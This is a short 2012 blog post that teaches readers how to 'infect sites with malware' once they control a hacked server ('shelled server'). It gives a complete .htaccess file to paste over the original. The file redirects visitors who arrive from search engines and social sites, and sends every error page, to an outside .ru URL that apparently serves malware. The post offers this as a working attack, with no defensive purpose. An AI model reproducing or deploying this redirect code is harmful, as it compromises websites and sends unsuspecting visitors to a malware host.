Wednesday, 25 April 2012

Infecting Websites With Malware

Today i will show you all how to infect sites with malware in few steps ;) .

Things Required :
  • Shelled Server
  • Access to .htacess file 

Step By Step Tutorial :
  • open your shell & then find .htacess file .








  • Then now we will edit it, replace everything with the code given below .


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]
RewriteEngine On
ErrorDocument 400 http://villusoftreit.ru/in.cgi?3
ErrorDocument 401 http://villusoftreit.ru/in.cgi?3
ErrorDocument 403 http://villusoftreit.ru/in.cgi?3
ErrorDocument 404 http://villusoftreit.ru/in.cgi?3
ErrorDocument 500 http://villusoftreit.ru/in.cgi?3

}


  • Now save the .htacess file . Viola! you have successfully infected the server with Malware .

No comments:

Post a Comment